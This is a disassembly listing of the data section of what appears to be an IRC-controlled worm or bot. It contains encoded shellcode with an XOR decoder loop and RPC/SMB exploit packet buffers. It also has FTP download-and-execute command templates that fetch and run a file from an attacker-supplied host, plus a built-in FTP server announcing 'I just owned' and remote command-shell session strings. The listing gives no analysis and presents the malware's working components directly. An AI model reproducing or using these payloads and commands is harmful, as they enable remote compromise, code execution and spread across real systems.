dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dd 0
dword_4348E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+385o
; sub_40DDDF+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dd 0
dword_434A48 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+39Fo
; sub_40DDDF+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dd 0
dword_434BA8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+3B9o
; sub_40DDDF+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
dword_434C78 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40E3D2+1F6o
dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_434CC4 dd 3000005h, 10h, 830h, 0 ; DATA XREF: sub_40E3D2+C9o
dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_434CF4 dd 0FAh, 2, 0 ; DATA XREF: sub_40E3D2+139o
dd 2, 0
dd 0FAh, 3 dup(0)
dword_434D18 dd 0D959516Ah, 2474D9EEh ; DATA XREF: sub_40E3D2+41o
db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_434D22: ; CODE XREF: seg002:00434D2Cj
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_434D22
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 0
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E2E5+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E3D2+1D8o
align 10h
aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E3D2+18Eo
align 4
dword_434F34 dd 163h, 0 ; DATA XREF: sub_40E3D2+D7o
dword_434F3C dd 20804h, 0 ; DATA XREF: sub_40E3D2+71o
dword_434F44 dd 2080Ah, 2 dup(0) ; DATA XREF: sub_40E3D2+56o
dword_434F50 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E78C+5Ao
dword_434F60 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 8
aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E69E+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00419E50o
align 8
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40ED60+5CAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40ED60+5A9o
align 4
aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40ED60+558o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40ED60+546o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40ED60+4EBo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40ED60+4D3o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40ED60+4C3o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40ED60+4B2o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40ED60+47Fo
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40ED60+43Bo
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40ED60+402o
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40ED60+3D4o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40ED60+3C1o
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40ED60+386o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40ED60+373o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40ED60+363o
aI_0: ; DATA XREF: sub_40ED60+34Fo
; seg002:0043A8E0o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40ED60+328o
aA_0: ; DATA XREF: sub_40ED60+314o
; seg002:0043A8ECo
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40ED60+2FDo
; sub_40ED60+338o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40ED60+2EDo
align 4
off_43640C dd offset dword_445750 ; DATA XREF: sub_40ED60+2D9o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40ED60+2C9o
align 4
aRest db 'REST',0 ; DATA XREF: sub_40ED60+2B5o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40ED60+2A5o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40ED60+291o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40ED60+281o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40ED60+26Do
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40ED60+25Do
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40ED60+248o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40ED60+237o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40ED60+1B9o
align 4
unk_4364A4 db 2Dh ; - ; DATA XREF: sub_40F477+3D3o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4364CC db 0Dh,0Ah,0 ; DATA XREF: sub_40F477+2BEo
; sub_41A6BE+F2o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F477+258o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:0040F944o
; sub_41AC18+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:0040F930o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_40F918o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: seg000:0040F911o
align 4
unk_4366EC db 2Dh ; - ; DATA XREF: sub_40FA29+27Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_35 db ' failed to start worker thread, error %d',0
align 4
unk_436724 db 2Dh ; - ; DATA XREF: sub_40FA29+20Ao
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_436758: ; DATA XREF: sub_40FA29+156o
unicode 0, <*>,0
aS_5 db '\%s',0 ; DATA XREF: sub_40FA29+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40FCD8+64Do
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40FCD8+61Do
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+58Eo
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40FCD8+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4101FBo
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40FCD8+51Co
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40FCD8+476o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+439o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40FCD8+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4100A5o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40FCD8+3C6o
align 4
aSS_1 db '%s%s/',0 ; DATA XREF: sub_40FCD8:loc_410051o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+335o
; sub_40FCD8+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40FCD8+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_40FCD8+2DEo
; sub_40FCD8+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40FCD8+2B4o
aAm db 'AM',0 ; DATA XREF: sub_40FCD8+293o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40FCD8+284o
align 4
a__ db '..',0 ; DATA XREF: sub_40FCD8+231o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40FCD8+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40FCD8+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410444+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
unk_436C08 db 2Dh ; - ; DATA XREF: sub_410565+14Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_36 db 'Failed to start client thread, error: <%d>.',0
align 8
unk_436C48 db 2Dh ; - ; DATA XREF: sub_410565+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_436C90 db 2Dh ; - ; DATA XREF: seg000:0041084Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_37 db 'Failed to start connection thread, error: <%d>.',0
unk_436CD0 db 2Dh ; - ; DATA XREF: seg000:004107D6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_436D14 db 2Dh ; - ; DATA XREF: seg000:00410B63o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 10h
unk_436D40 db 2Dh ; - ; DATA XREF: seg000:00410B3Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_436D6C db 2Dh ; - ; DATA XREF: seg000:00410B1Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00410AECo
align 4
unk_436DA8 db 2Dh ; - ; DATA XREF: seg000:00410A5Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_436DD4 db 2Dh ; - ; DATA XREF: seg000:loc_410BB1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 10h
dword_436E00 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410BC0+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 0
dd 234032Dh, 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch
dd 6F632074h, 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh
dd 7325203Ah, 2C64253Ah, 72655320h, 20726576h, 65726874h
dd 203A6461h, 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h
dd 79646165h, 646E6120h, 69617720h, 676E6974h, 726F6620h
dd 636E6920h, 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h
dd 2E73h, 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h
dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h
dd 2E3E6425h, 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 8
unk_436FD8 db 2Dh ; - ; DATA XREF: seg000:00410ECFo
; seg000:00410F05o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 10h
unk_437020 db 2Dh ; - ; DATA XREF: sub_410FCB+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_437048 db 2Dh ; - ; DATA XREF: sub_410FCB+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_437088 db 2Dh ; - ; DATA XREF: sub_410FCB+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4370C8 db 2Dh ; - ; DATA XREF: seg000:00411187o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 10h
aCmdQ db 'cmd /q',0 ; DATA XREF: seg000:00411150o
align 4
unk_437108 db 2Dh ; - ; DATA XREF: sub_41119D+8Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
